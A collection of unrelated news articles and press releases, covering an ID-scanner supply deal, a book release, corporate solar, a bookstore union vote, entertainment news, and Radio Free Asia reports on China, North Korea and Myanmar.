VITKOVICE selected Elyctis half-page scanner solution for a combination of factors: Elyctis ID BOX One series readers provide a high level of performance, they can read and authenticate e-ID documents (e-Passports, e-visas and e-ID cards), in a smaller, lighter and easier to integrate form factor than full page scanners. The authentication provided by half-page scanners fits the vast majority of needs of government and private customers, for a price, which represents a fraction of the one of a full-page scanner. In addition, Elyctis ID BOX One Series readers are more user-friendly as reading a document is completed in a single movement, they do not require an additional power supply and are entirely manufactured in France, which is essential in times of supply chain crisis.

VITKOVICE IT SOLUTIONS a.s. participates in government projects in which they integrate Elyctis ID readers. Under these new projects, the readers will be used to read Czech national ID cards, resident cards and ePassports in the context of all government services.

Vladimir Mekota, CEO of VITKOVICE IT SOLUTIONS a.s. declares: "Elyctis is our number one choice for all projects in which we need to read ID documents: not only do they read and authenticate all kinds of ID documents (ID cards, ePassports, ), but they are readily available and cost-efficient, and we benefit from their support when completing our software developments using their SDK."

Alexandre Joly, CEO of Elyctis, adds: "We are proud to have been selected by VITKOVICE for their needs for ID readers. We are ready to deliver our whole range of readers to them as we are confident, they will be successful in numerous new projects in the Czech Republic and in Europe more globally."

About VITKOVICE IT SOLUTIONS a.s.

VITKOVICE IT SOLUTIONS a.s. is a Czech company that builds on the innovative work of its predecessors who, more than 90 years ago, were involved in automated data processing in the engineering and metallurgical company VITKOVICE and always sought to help customers in their journey to reduce costs, streamline business process management and increase competitiveness. The company delivers solutions not just in the field of security, but also in Industrial Automation, Cybersecurity and Integrated Rescue Systems. For the design of solutions for customers, VITKOVICE IT SOLUTIONS a.s. uses partnerships with leading manufacturers of HW and SW so that it can always provide customers with the highest utility value of the solution.

More information at https://www.vitsol.cz/en/

About Elyctis

Created in 2008, Elyctis mission is to supply system integrators with mobile and fixed hardware to access data of eIDs (NICs, passports, resident permits, driving licenses). The company specializes in the development, industrialization, production and marketing of readers and terminals dedicated to Secure Identity Documents including e-passports, e-ID cards, and e-driver licenses, ... The company, which now employs 25 people, has longstanding expertise in eID projects, as well as hardware and software developments, especially in the combination of optics, antenna design, high-security software and integration. Elyctis sells its products through its network of distributors and systems integrators, to whom it provides a development environment to facilitate the use of its readers. Elyctis is headquartered in Pertuis, France, and has a sales office in Hong Kong.

Alexandre Joly, Elyctis founder and CEO is a laureate of Reseau Entreprendre since 2011, and a laureate of the Reseau Entreprendre Ambition program in 2016.

More information at http://www.elyctis.com
Gods Redemptive Plan for Mankind: an encouraging discussion of scripture that offers students of the Bible encouraging study points. Gods Redemptive Plan for Mankind is the creation of published author William Hagenburg.

Hagenburg shares, Having over forty years of Bible study, including various Bible courses, obtaining the equivalent of a two-year college degree, and studying with a nationally known biblical scholar, the author has written this book to be a study companion to the Bible to bring the truth and message God intended.

The translators of the King James Version wrote in old English and used words of their day. They used words that provided the general meaning intended, so in order to understand the full scope of Gods message, we must refer to the original languages the text was written inHebrew for the Old Testament and Greek for the New Testament. Key words in each verse have been explained by the original Hebrew or Greek language with the English spelling of the words and the complete definition to get a complete understanding.

Additional topics of interest from the Bible have also been included.

This book was written to glorify God.

Published by Christian Faith Publishing, William Hagenburgs new book will challenge and motivate readers to take time to truly understand Gods message.

Hagenburg shares in hopes of helping others through his experience of extensive biblical study over forty years.

Consumers can purchase Gods Redemptive Plan for Mankind at traditional brick & mortar bookstores, or online at Amazon.com, Apple iTunes store, or Barnes and Noble.

For additional information or inquiries about Gods Redemptive Plan for Mankind, contact the Christian Faith Publishing media department at 866-554-0919.
We're always trying to find new ways to incorporate sustainability into our practices, and we're thrilled to be supporting a Utah-based business at the same time.

Young Living Essential Oils is the latest of five companies across the state to join RenewChoices SharedSolar program, a community-based solar initiative that helps homes and businesses reap the benefits of solar power without installing panels themselves. Young Living recently added its distribution center in Spanish Fork to the program. The move, in line with the companys ongoing sustainability efforts, will help Young Living offset 80 percent of its power at its distribution center with solar, while also supporting local enterprise.

SharedSolar is a communal system that allows home or business owners to subscribe to a block of solar panels and receive credit on electricity bills for the share of power produced by the leased block. The electricity is generated during the day and then delivered to the power grid for use. This system is implemented in Utah using RenewChoices 84MW solar farms in Mona and Spanish Fork.

"We're always trying to find new ways to incorporate sustainability into our practices, and we're thrilled to be supporting a Utah-based business at the same time," said Prasad Gankanda, Chief Operating Officer at Young Living. "The SharedSolar program is a revolution in the renewable energy field, making going green more accessible and attainable for companies and residents alike."

SharedSolar is the latest way Young Living is giving back to the planet. As a leader in the essential oils community, Young Living constantly strives to increase its sustainability efforts, from monarch waystations at its North American farms to its wilderness sanctuary and desert bighorn sheep nursery at Skyrider Wilderness Ranch in Tabiona, Utah.

RenewChoice has made SharedSolar available in several cities in Utah, including Spanish Fork, Provo, Nephi, and Salem. Learn more about SharedSolar or other programs offered by RenewChoice by visiting their website.

About Young Living Essential Oils

Young Living Essential Oils, LC, based in Lehi, Utah, is the world leader in essential oils, offering the highest-quality oil-infused products available. Young Living takes its industry leadership seriously, setting the standard with its proprietary Seed to Seal quality commitment. This guiding principle helps Young Living protect the planet and provide authentic products that its Brand Partners and Customers can feel confident using and sharing with friends and family. Young Livings productssourced from corporate-owned farms, partner farms, and other trusted suppliersnot only support a healthy lifestyle, but also provide opportunities for over 6 million global Brand Partners to find a sense of purpose and whole-life wellness by aligning their work with the Young Living values and passions. For more information, visit YoungLiving.com, follow @youngliving on Instagram, or like us on Facebook.

Media Contact

For media inquiries, please contact Maria Coder at maria@redbanyan.com.
Efforts by booksellers at the Books-A-Million outlet in Leesburg, Va., to become the chains first location to unionize failed following the official election results on January 19. While Virginia is a right-to-work state, the failure to unionize was all the more unexpected as, reportedly, the store's workers initially and overwhelmingly supported the initiative.

According to a release dated November 18 issued by the United Food & Commercial Workers International Union, every single worker at the store signed union authorization cards in support" of an election to determine whether the 15 BAM employees in the Leesburg store would join UFCW Local 400 so as to collectively bargain contracts. Still, UFCW national press secretary Brian Doherty told PW in an email after yesterdays election, unfortunately, the vote did not go our way. Doherty did not offer further details.

BAM, founded in 1917 in Birmingham, Ala., and still headquartered there, currently operates more than 260 stores in 32 states, most of them in the southeastern U.S., as well as in the District of Columbia.

Booksellers working at Politics & Prose in Washington, D.C., joined UFCW Local 400 in January 2022, and there has been a wave of successful bookseller unionization efforts across the country this past year, including at Half Price Books, a Minnesota-based chain of discount bookstores.

BAM representatives did not respond to PWs requests for comment by press time. Other parties who potentially had knowledge of the unionization drive also did not respond after multiple requests for comment.
The (7 x 30) dramedy follows Ida, a twentysomething with no relationship experiences outside of her bedroom because her social life has been spent entirely in an online virtual reality world. That is until her American boyfriend Marvin, who she's never met in person, suddenly announces he's dating another womanin real life. With Idas world collapsing around her, she is determined to find her own "physical" partner in a world she has little experience in. But as she searches for true love, Ida begins to understand that to be ready for a relationship, she must first love herself.The series has been produced by Maipo Film with funding from NRK, SVT, DR, YLE, RUV, The Norwegian Film Institute and the Nordisk Film & TV Fond. The series is written and directed by Jakob Rrvik (Thomas vs Thomas, Nothing Ever Really Ends). Producers are Petter Onstad Lkke and Synnve Hrsdal. Production begins next month in Norway and the series is expected to premiere in 2024.We follow Ida through a full year in her life as she moves back and forth between the online and the physical world, between romance at a distance and up close, remarked Jakob Rrvik, series creator, writer and director (pictured). I believe this is an always relevant story about two former lovers that might find back together, but the setting of the story is very much NOW. Its a series that mixes drama and wry comedy with an empathetic look at modern romance. And above all, Dates In Real Life is a very contemporary take on a young character's journey to self-acceptance.Dates in Real Life is a modern story that taps into the zeitgeist of how so many young people are living their lives today, said Annika Schmidt, head of German Originals and European co-productions for Dynamic Television . Its an eye-opening but charming romance story that speaks to anyone who has ever been in love.
ABC/Stewart Cook

By Elizabeth Kwiatkowski, 01/24/2023



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Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade.

couple Kenny Braasch and Mari Pepin-Solis have revealed a big update on their wedding-planning process.Kenny and Mari got engaged on 's seventh season in Summer 2021, and their engagement aired on the show's October finale that year.The couple currently has the ball rolling on their wedding plans, and they plan to have a ceremony in both of their hometowns, Illinois for Kenny and Puerto Rico for Mari.Mari posted a video on Instagram last Wednesday, which Kenny was tagged in, and she dubbed it, "Wedding Wednesday."Every Wednesday, Mari will be sharing information about her nuptials and asking fans for their advice and feedback.Mari shared in the January 18 video, "As of right now, we have officially booked our venue! It's been secured with a deposit, a date, and our location. It's all good to go.""There's not much beyond that! But the reason is we're still trying to nail down our guest list," she added.Mari explained how for Puerto Rico, she and Kenny are trying to keep the wedding "smaller and more intimate.""[We'll be inviting] immediate family and very close friends... But there are [still] a lot of people, though! I have gotten some quotes back from caterers, but that's something we can't book until we figure out our guest list and a head count, or at least a general idea."Mari said that since it's a new year and vendors are back to work, she and Kenny "are going to start nailing all the important details down and get that out of the way."On the topic of Kenny's ensemble for the wedding, Kenny said he'd like to wear a traditional black tuxedo or maybe a three-piece suit."I guess I just [need to see] what they have for rent and what's rentable!" Kenny said with a laugh. "I like a three-piece suit in all black with the white shirt. It would match very well with my black and white Jordans."But Mari said wedding dress shopping has been "very difficult" for her considering she has "worn a ton of different gowns for pageants.""I've [also] modeled a ton of bridal gowns for bridal fashion shows. So it's hard because I know what I like -- but I like a lot of things," Mari explained.Kenny pointed out how he'd like to see a "puffy" ballgown dress on Mari followed by a more form-fitted, sleek dress for their reception.The couple also talked about their wedding bands. Kenny said he'd prefer a "plain" band "in either gold, silver or black.""I don't like all the stones and stuff. I can't even wear rings because my knuckles are so big," Kenny noted, before Mari accused him of using that "as an excuse not to wear his ring.""There are solutions for this problem!" Mari chimed in.Kenny therefore suggested, "What if I just got the wedding ring tattooed on my finger? Is that an open?... Can we take a vote on that?"Mari, however, immediately shot that idea down, and then she pointed out how she has "many ideas" for her hair on the big day -- including a bun or big, voluminous curls."I like it up rather than [down and glam]," Kenny said. "I would maybe even prefer [you] having a part down the middle."In the caption of her post, Mari wrote, "Happy #WeddingWednesday!!! Wednesday's are becoming my favorite day of the week because of these lil wedding videos and I hope you all are enjoying them just as much as I am!!""This week we're talking some wedding fashion -- gowns, suits, rings, and hair & makeup!!!" she continued. "What kind of dress do you picture me wearing?! And should Kenny do a suit or a tux?"Mari explained this video was actually "the very first Wedding Wednesday video" they filmed back in December."But I decided to discuss and post some other topics before we got into this one! We don't have an extended version this week because this was pre-recorded, but we'll have more to come!" she concluded.Mari told BachelorNation.com late last year that she wants "a tropical theme" with "tropical flowers" and a "colorful" event for her Puerto Rican wedding.After Kenny popped the question in Paradise, Mari moved to Kenny's hometown of Chicago.Kenny revealed in January 2022 that he and Mari were taking the next step in their relationship and moving in together."@Mari_Pepin and I have signed the lease on a new apartment here in Chicago," Kenny reportedly wrote on his Instagram Story at the time.Mari then reposted the announcement and added, "I can't wait to keep annoying you, and scaring you, and love you every day boo!"On 's seventh season, Mari, a marketing manager at the time, connected with Kenny, a boyband manager, right off the bat, and it seemed like love at first sight.But once things began getting serious, Mari pumped the brakes and suggested the couple should continue seeing each other while keeping their options open and pursuing other possible romances in Mexico.Kenny, a little heartbroken over Mari's lack of commitment, therefore dated Demi Burnett , with whom he went to "The Boom Boom Room," and he also went on a date with Tia Booth in which they played naked volleyball with strangers.Once Mari saw Kenny with other women, she realized how much she missed him and how she wanted him all to herself. Mari therefore apologized to Kenny and fought for him, and the pair became inseparable after their reconciliation."Obviously, I was very into Mari from the very beginning," Kenny explained to People in October 2021."So once I sort of knew she was in the same place I was is when I started thinking, like, we might end up engaged at the end of this."On 's finale, Kenny said getting engaged to a person so soon was "insane" but he'd be an "idiot" not to wife Mari up because he was absolutely crazy about the girl.Mari gushed about how Kenny had "100 percent of her heart" and she felt like the luckiest woman in the world to be with him.Mari said that although there is a 15-year age difference between them, she believes they are at similar stages in life and want the same things, which helped bring them closer together and solidify their bond.Mari added of the significant age gap, "I think the only way that it's noticeable is when we talk about movies or music, because [we're] obviously [from] different generations."In terms of having children, Mari said, "I think I just want to enjoy being married for a little bit first and then maybe in the next year to two years we'll start talking about that."In addition to Kenny and Mari, two other couples got engaged on the seventh-season finale: Joe Amabile and Serena Pitt as well as Riley Christian and Maurissa Gunn.Maurissa and Riley have since split, but Joe and Serena are currently married and living together in New York City.Before appearing on , Mari competed for Matt James ' heart on The Bachelor's 25th season and Kenny dated Clare Crawley and Tayshia Adams on The Bachelorette's sixteenth season.Interested in more The Bachelor news? Join our The Bachelor Facebook Group
For the last two football seasons, Georgia Bulldog fans all over the country rang in the New Year hoping to soon ring the Chapel Bell in celebration of a national championship title. Once again, that hope came true with the University of Georgias defeat over Texas Christian University.

The 2022-2023 football season proved to be especially action-packed for local stores. As the season began, consumer traffic increased as fans all over the country were still riding the high of last years national title while also hoping for another one.
Brattleboro, VT (05301)

Today

A few passing clouds, otherwise generally clear. Low near 55F. Winds light and variable..

Tonight

A few passing clouds, otherwise generally clear. Low near 55F. Winds light and variable.
Photographer / Multimedia Editor

Has been working as a photojournalist since 2007, before moving into newspapers, he worked with an NGO called Project HOPE. He then went to work for the Press and Sun-Bulletin in New York, and then in New England working for the Brattleboro Reformer.
Serbian President Aleksandar Vucic said he will not hesitate to resign if his resignation helps save his country, Azernews reports per TASS.

"Anyway, this is my last mandate. I know my duties. If there is a need to save the state and win time, I wont hesitate. <??> I am living for my country. I am my countrys soldier and will do what is in the states interests at a certain point," he said in an address to the nation.

At a meeting with the leaders of the countrys ruling Serbian Progressive Party on Sunday, Vucic said he was ready to quit as the political force leader.
Former prisoners say release from jail often leaves people with no income, so they try to make money online

China has shut down 222 social media accounts, according to an opinion article published by the state-run China News Service.

China has shut down the social media accounts of hundreds of people recently released from prison in a bid to deny an online platform to "illegal and unethical" people, the countrys audiovisual regulator said.

The move targets "illegal content" produced by people who "fail to correct their political stances" after completing a prison term, according to an opinion article published on the state-run China News Service.

It will likely have a profound impact on political prisoners, who are often prevented from working and placed under ongoing surveillance even after serving their time.

By Jan. 21, the State Administration of Radio, Film and Television's online content arm had shut down 222 accounts and "cleaned up" thousands of items of content "depicting the prison experience [and] questioning the national judicial system," the report said.

The aim of the clampdown is to block off former prisoners' ability to "attract online traffic" or sell products online, it said, without specifying what kind of sentences such prisoners had served.

Online platforms Douyin, Kuaishou, Weibo, Bilibili, Xiaohongshu and Tencent had all cooperated in "investigation and reform" of their content, it said.

"All short videos released by the accounts of ex-prisoners were manually reviewed," the report said, adding that 83 keywords relating to release from prison had been blocked, making it hard for live streamers to attract viewers of such content.

Trying to survive

Dissident Xu Wanping, who has served a total of 20 years in prison, said many recently released prisoners have been sharing their experiences, or simply selling stuff online as a way to make a living on their release.

"They're trying to address their basic need to exist following their release from jail, and society should pay more attention to how they are supposed to do that," Xu told RFA. "They should get more help and support."

Stated-backed news site The Paper cited an industry regulator as saying that the authorities are trying to stop people from "flaunting their experiences of crime or prison" online, or transmitting insider information to the public.

"[Legally], a citizen has the right to freedom of expression," says activist Gu Guoping, who has been detained by authorities in Shanghai after expressing public support for the anti-extradition movement in Hong Kong. Credit: Gu Guoping





Former university lecturer Gu Guoping, who has been repeatedly detained by the Shanghai police, said those who get out of prison shouldn't be deprived of their rights.

"They are normal citizens and should therefore not be deprived of their right to speak," Guo said. "[Legally], a citizen has the right to freedom of expression."

Under surveillance

In practice, this is seldom the case for former political prisoners, who are held under surveillance at a location decided by the authorities, sometimes for years after their release, and frequently prevented from earning a living.

Prominent rights lawyer Tang Jitian was released after more than a year of police detention on Jan. 14, showing up in his birthplace in the northeastern province of Jilin, instead of his home in Beijing, a common practice for recently released political prisoners.

"I'll try to keep doing what I can keep doing, but ... I can't say any more right now," Tang told RFA, saying it was "inconvenient" to speak, a phrase often employed by people targeted for official surveillance.

Tang's friend and fellow rights activist Xiang Li said Tang had been sent back to his parental hometown of Dunhua, Jilin, on the morning of Jan. 14 by the state security police.

"I personally believe that ... the state security police drove him to someplace in Dunhua, and then asked his family to come pick him up," he said.

Tang's license to practice as a lawyer was revoked in 2010 after he campaigned for direct elections within the state-run Lawyers' Association, and represented practitioners of the banned Falun Gong spiritual movement.

His friend Zhao Zhongyuan said his "release" doesn't mean he has his freedom back.

"No, that won't happen, for sure," Zhao said. "Tang Jitian was already being monitored before he lost his freedom ... the authorities have been monitoring him for many years, and they won't let up."

Translated by Luisetta Mudie. Edited by Malcolm Foster.
Citizen journalist Kcriss Li is interviewed by Radio Free Asia in New York after having dropped out of public view for more than two years.

Nearly three years ago, former state TV host Kcriss Li was live streaming his arrest by state security police in the central Chinese city of Wuhan, where he had gone to report as a citizen journalist on the emergence of the pandemic in 2020.

"I'm suddenly being chased down by the state security police. The car they're driving isn't a police car," Li tells the camera after being hassled and obstructed for days by local officials and security guards as he traveled around Wuhan reporting on the epidemic, including the round-the-clock operation of crematoriums in the city.

"They're chasing me, so I can't live stream any more. I will just have to leave you with this clip," Li says in a video shot in February 2022, not long after he tried to film the P4 laboratory at the Wuhan Institute of Virology, which some rumors claimed was the source of the COVID-19 virus.

"It's hard to describe the feeling I had then, in Wuhan ... sometimes I was reminded of a trip I made to North Korea in 2019, staying at the Yanggakdo Hotel, which is a place where foreign tourists stay in Pyongyang," recalls Li, now a student in Rochester, New York. "We were able to move freely around the hotel, but under a state of total control, so that we felt we could be arrested at any time if we left the hotel."

Former state TV host Kcriss Li live streams being chased by Chinese state security police in Wuhan in 2020. Credit: Screenshot from Kcriss Li video





"The fear, the threat of existing under the threat of totalitarianism was what I felt most keenly in Wuhan back then, says Li in an exclusive interview with Radio Free Asia, speaking to the public for the first time since disappearing about two years ago.

But Li, whose story has been written up as a book by exiled writer Liao Yiwu, dismisses the fear of totalitarian power as "tragic," especially for young people.

"We should be worrying about what kind of practical action we can take, not about the so-called power of those who make the rules," he says while strolling around a lake near his dormitory.

Rumors were flying around

Li, whose Chinese name is Li Zehua, said he was drawn to Wuhan by the disconnect between the official narrative, which claimed the ruling Chinese Communist Party had the newly emerging pandemic under control, and the cries for help from healthcare workers and ordinary people on the ground.

"Frontline medical staff were crying out over the lack of protective equipment, saying patients were dying in large numbers both in and outside of hospitals," he says. "Rumors were flying around about the Wuhan Institute of Virology."

At the start, cutting-edge private media like Caixin, Caijing, Freezing Point and Southern Weekend were publishing front-line reporting out of Wuhan. But President Xi Jinping gave a Feb. 3, 2022, speech calling for "the strengthening of public opinion management."

Citizen journalists had been quick to step into the breach, despite the banning of a number of key blogging platforms including Tencent's "Daija in the wake of Xi's speech.

But their days were numbered too, given the strength of Xi's directive to control the public narrative.

Suddenly went quiet

Citizen journalist Chen Qiushi, one of the first to arrive in the city, suddenly went quiet after interviewing people around the new mega hospitals being thrown up at great speed in Wuhan, with blogger Fang Bin taken away by police just a few days later.

Li managed to hang in there for a few more weeks until his dramatic, live-streamed chase by police on Feb. 26, while lawyer-turned-reporter Zhang Zhan was detained and taken back to Shanghai, where she is reportedly close to death in prison following months of on-off hunger-striking and forced feeding.

Li said his main concern in live streaming the police chase was self-protection.

"I knew that as long as I had a platform, that would give me some protection against a totalitarian power that was trying to hurt me or suffocate me," he says, although he ended the broadcast with an impassioned plea to China's young people to "stand up."

Kcriss Li livestreamed being detained in Wuhan in 2020. Credit: Screenshot from Kcriss Li video

Now, he finds inspiration in Novembers anti-lockdown protests across China, in which people held up blank sheets of paper and called on Xi to step down and call elections, or at least to put an end to three years of grueling lockdowns, mass surveillance and compulsory testing under his zero-COVID policy.

"The most ridiculous thing is that I didn't do anything," he says. "We didn't do anything -- so people can't even hold up a blank sheet of paper now?"

"What are they afraid of?"

Living the Chinese dream

Li was detained by police in February 2020 and held for two months. He came to the United States in 2021 on a student visa to obtain a masters degree in computer science.

That wasn't his first brush with authority.

A high-school drop-out from the eastern province of Jiangxi, he narrowly escaped being sent to juvenile detention, winding up instead in the shopping malls of Shenzhen as a computer salesman.

Life in that cosmopolitan trading city brought him into contact with the wider world, and he eventually caught up on his studies and got admitted to the Communication University of China as a trainee anchor.

Li eventually got hired as a host and presenter, and lived the Chinese dream for a while, traveling all over and filming for his food shows.

Now, his existence is reduced to a room in a university dorm in Rochester, New York, with a desk crowded with computer monitors displaying code, or papers on artificial intelligence.

"We have been oppressed by unfreedom for a long time in China," Li told RFA. "This unfreedom, especially the unfreedom of information, has brought about many other unfreedoms."

"I believe that the digital totalitarianism we see today was brought about by technology, and the problems brought about by technology may only be solved by technology itself," he explains.

Cultural Revolution 2.0

He likens the last three years of the zero-COVID policy, with white-clad enforcers welding people into their apartments or shipping them off to quarantine camps in the middle of the night, to the political turmoil of the 1966-76 Cultural Revolution.

"After I left, things got even worse -- the guys in white turned into White Guards," he says. "Nothing has changed since the Cultural Revolution."

Kcriss Li says Chinas zero-COVID policy and its white-clad enforcers [shown] resembled the political turmoil of the 1966-76 Cultural Revolution. Credit: AFP file photo

Asked what he thinks China is, or could become, he pauses for a long while to collect his thoughts.

"I think China could become very diverse," he says. "It's precisely because of the lack of tolerance and diversity that any talk of China these days is dominated by leftist nationalism and pointless patriotism."

"I discovered when I got to the United States that freedom ... is the result of diversity, or diversity is the premise of freedom, which was a pretty profound feeling," he says.

Later, asked who Kcriss Li is now, he struggles to find an answer.

"I'm a learner," he eventually concludes with a laugh. "I'm a person who is constantly learning, and who keeps discovering that he is nothing."

But he still plans to keep up the fight against totalitarian rule, which he views as a threat anywhere due to the global spread of technology.

"If a totalitarian regime is using (artificial intelligence) technology to control the people, the people want to fight back. But you dont even have the chance to know the opponent, he says. I think it is necessary to tell how the most backward society abuses the most advanced technology to harm. It makes sense to take, inform, and explain the details to people. I think it is meaningful."

"I will definitely keep fighting those things that I don't like, like totalitarianism and tyranny, and fight them in my own way," he says. "I think more people will join me in future  I'm not alone."

Translated by Luisetta Mudie. Edited by Malcolm Foster.
A general view of the Ryongaksan Spring Water Factory in this undated photo released by North Korea's Korean Central News Agency (KCNA) in Pyongyang, Sept. 30, 2016.

Poor North Korean children are collecting water from springs and selling it in the streets to make money for their families during the Lunar New Year holidays, sources in the country told Radio Free Asia.

RFA reported last week that food prices sharply increased in the runup to the holiday, which began on Sunday, causing many to worry that they would be unable to celebrate the holiday with a special dinner.

But apparently some of the countrys poorest children are desperately trying to make enough money to eat anything at all during the holiday, and a local superstition suggests that drinking natural spring water on Lunar New Years Day will bring good fortune.

There are many children carrying spring water on their backs to sell in the city of Tokchon. Some of them are as young as 8 years old, a resident of South Pyongan province, north of the capital Pyongyang, told RFA on condition of anonymity for safety reasons.

The source explained that these children are not orphans, but they come from families in dire financial straits. For example, their parents might be factory workers who did not receive their normal wages or food distributions from the state this year, or the side business that most families must run to support themselves might be failing.

It seemed like it might be difficult to eat even a bowl of rice on the Lunar New Year, so the children just started selling spring water on their own, the source said.

Groups of three or four children put spring water into large buckets from the mountain behind the Tokchon food processing plant, the source said. They carry the buckets on their backs or drag them with handcarts and then walk around the city apartments, shouting water for sale.

A liter (1.05 quarts) of regular spring water goes for about 300 to 500 won, or 4-6 U.S. cents, whereas a liter of mineral water with purported health benefits costs about 1,000 won, or 12 cents, according to the source.

Tokchon is surrounded by forests with lots of springs and the mineral water springs are in the area behind the processing plant, the source said.

Children walk around all day and can sell about 10 liters of spring water, the source said, explaining that even with all the hard work, that means they will earn about 60 cents during one day if they are selling regular water or about $1.20 for mineral water.

Around 10 children in a small town in the northwestern province of North Pyongan were lugging around heavy water jugs on their backs, desperately shouting to try to make a sale, a source there told RFA on condition of anonymity to speak freely.

When apartment residents call the children to buy spring water, the children immediately carry the heavy spring water on their backs and walk up to the fifth and seventh floors to deliver it to the customer, the second source said.

Most of the customers want spring water for New Years Day, but they are worried about the children who carry the heavy loads in the freezing cold to bring it to them, the second source said.

The children say things like I should be studying, but I cant because I am so poor. Please buy some of my spring water, the second source said. The state of affairs is worrisome for the residents  and they blame the North Korean authorities for their wrong policies.

Translated by Claire Shinyoung Oh Lee. Written in English by Eugene Whong. Edited by Malcolm Foster.
Myanmar junta forces conducted an airstrike on the residence and office of Major Saw A Wan, a top commander in the Democratic Karen Benevolent Army, near the Thai border on Saturday, Jan. 21, 2023.

Myanmars junta jets dropped bombs over the weekend on the home of the leader of an ethnic Karen group that has not been fighting the military, appearing to violate an 8-year-old ceasefire, local residents told Radio Free Asia.

The strike destroyed the home of Major Saw A Wan, commander of the Democratic Karen Benevolent Armys, or DKBA, Tactical Operation Command, but he and his family were away at the time. It also destroyed a nearby guest house, high school and two employee quarters, the residents added.

No one was killed in the early Saturday bombing, but one DKBA soldier was reportedly injured.

The strike comes despite the group being a signatory to the Nationwide Ceasefire Agreement, signed under the previous military government of Thein Sein in 2015 with various ethnic armed rebel armies.

Colonel Saw Sein Win, chief of staff at the DKBA, told RFA that his group is neutral and hasnt been involved in helping resistance to junta rule since the February 2021 coup.

"We are neutral. We maintain a close relationship with the military. On the other hand, we have occasional contact with the Karen National Union, the colonel said, alluding to one of the major Karen rebel groups in Myanmar. Despite our close ties and all the diplomacy, this (attack) happened, and we were surprised.``

He also suggested that the attack could have been carried out by a separatist faction from the DKBA, saying the group saw fighters defecting to the military last year.

They still have all the DKBA uniforms. They were fighting with the military wearing our uniforms, we would normally be accused of being involved in anti-junta activities, he said. Arm badges can also be bought at shops as well.

A witness close to the Democratic Karen Benevolent Army said the Saturday, Jan. 21, 2023, attack by Myanmar junta aircraft on the residence and office of the DKBAs Major Saw A Wan lasted 15 minutes and included bombs and machine guns. Credit: Citizen journalist





The DKBA was one of the groups that responded to the militarys peace talks invitation in the coups aftermath, with DKBA Commander-in-Chief General Saw Steel personally attending the talks with coup leader and Myanmars de facto leader Min Aung Hlaing.

Analysts told RFA that the attack was a unilateral breach of peace between the ruling military and the DKBA.

One eyewitness close to the DKBA said that the attack lasted almost 15 minutes.

All I could see was the light. I could not see the jets nor did I hear their sound. The guest house, which was about a hundred feet away from his house, collapsed and was destroyed, the witness said. The bomb didnt hit his home directly but its stairs and handrails were cut in half just by blisters of the bombs.

Since the coup, the military has been frequently conducting airstrikes on areas where ethnic armed groups and anti-junta Peoples Defense Force militias are located.

Military spokesperson General Zaw Min Tun did not respond to RFAs telephone request for comments on the attack today, and neither the junta nor the DKBA have released official information on the strike.
The remains of the combined administration offices in Payathonzu town, Kyainseikgyi township, Kayin state, that were burned down by KNLA/PDF fighters on Jan. 23, 2023.

UPDATED AT 5:33 a.m. ET ON 01-24-2023

Fighting between junta troops and one of Myanmars most powerful ethnic armies continued Tuesday after local guerilla groups burned down an administrative office in Kayin state, residents and fighters told RFA.

A local Peoples Defense Force raided the office in Payathonzu town near the Thai border on Monday night. They set fire to four buildings housing military intelligence offices, along with general administration, immigration and land registry departments.

When the military sent in reinforcements, Karen National Liberation Army troops and a Kawthoolei Army special commando unit joined the battle, a Kawthoolei soldier told RFA on condition of anonymity.

One local, who also declined to be named for safety reasons, said some residents fled the town as fighting continued Tuesday morning.

Joint forces attacked and both sides are still fighting, he said. The casualties are still not known, but the fighting intensified this morning. Almost all the offices were destroyed. The fighting mainly erupted because of anti-regime civil disobedience movement issues.

Another witness told RFA he could hear gunfire all through the night.

As soon as I heard the sound I looked outside. I saw the flames rising up. I could also hear the sound of explosions, he said.

A member of a local charity said two civilians were injured but she did not know the details.

They were hit by shrapnel but I dont know where. I heard that an elderly man and one from the betel shop were hit, she said. I saw the burnt [offices], but I didn't see fire trucks  People are moving around cautiously and there are only a few on the street.

Neither side has released a statement about any casualties and RFA has not been able to independently confirm whether anyone was killed.

The Karen National Liberation Army has refused to hold talks with the junta, saying there can be no negotiations unless they include the National Unity Government, ousted by the military nearly two years ago.

The KNLA and its political wing the Karen National Union have also said they oppose the juntas plan to carry out a census and hold national elections this year.

Fighting between the military, local Peoples Defense Forces and ethnic Karen armies has forced more than 97,000 people to flee their homes in Kayin State, according to data compiled between Feb. 1, 2021, and Jan. 20, 2023, by the United Nations Office for the Coordination of Humanitarian Affairs (UNOCHA).

Translated by RFA Burmese. Edited by Mike Firn.

This story has been updated to include quotes from locals and to clarify that the Kawthoolei Army was also involved in the battle.
Two sides are in conflict, but both want to curry Chinas favor for leverage in UN and stronger trade ties

Myanmar junta chief Snr. Gen. Min Aung Hlaing and his wife, Kyu Kyu Hla, accept flower bouquets at the Lunar New Year Festival held on Saturday, Jan. 21, 2023 in Yangon.

In a reflection of the influential role that China plays in the region, leaders from both Myanmars ruling military and the anti-junta National Unity Government  essentially enemies  praised China over the Lunar New Year weekend, competing for their neighbors blessing.

Junta chief Sr. Gen. Min Aung Hlaing said that China had been an important and good neighbor, while the shadow Unity government sent a message through diplomatic channels saying that it could guarantee that the fruits of their revolutions success will not harm the interests of regional countries, including China, but give even more benefits.

China is an important economic partner and shares a border with Myanmar. It also wields a powerful veto on the five-member U.N. Security Council, which both the junta and the shadow NUG hope Beijing will leverage to their advantage.

Chinas U.N. delegation, for example, has prevented meaningful sanctions from being imposed on Myanmar since the military took control in a February 2021 coup, or hold the junta accountable for human rights violations against its own people.

Analysts said that the NUG appears grateful that China did not veto the Dec. 21 Security Council resolution calling for the release of political prisoners by the junta, including imprisoned former leader Aung San Suu Kyi.

The resolution also called on the army to stop violence against civilians and implement the five-point consensus for peace in Myanmar adopted by the Association of Southeast Asian Nations.

Trying to keep China from supporting opponent

Rather than seeking an outright partnership with Beijing, both sides may be trying to keep China from joining their opposition, political analyst Ye Tun said. It is not bad for them if China at least stays neutral, he said. They are trying to have China not be on the opposing side.

Thein Tun Oo, executive director of the pro-junta Thayninga Institute for Strategic Studies accused the NUG of pulling a political stunt by thanking China for not vetoing the Security Council resolution. China knows very well who is ruling Myanmar and who to associate with.

According to data from the Institute for Strategic Studies, which monitors China-Myanmar relations, three new trade channels have emerged between the two countries since the coup.

One trade route links Chinas Sichuan province through Yangon and to Singapore, connecting Chinese exports to infrastructure to the Indian Ocean. A second route links Chongqing province with Laos, Thailand, and Myanmar, while the third is a water route connecting Guangxi province through ports in the Bay of Beibu in the South China Sea.

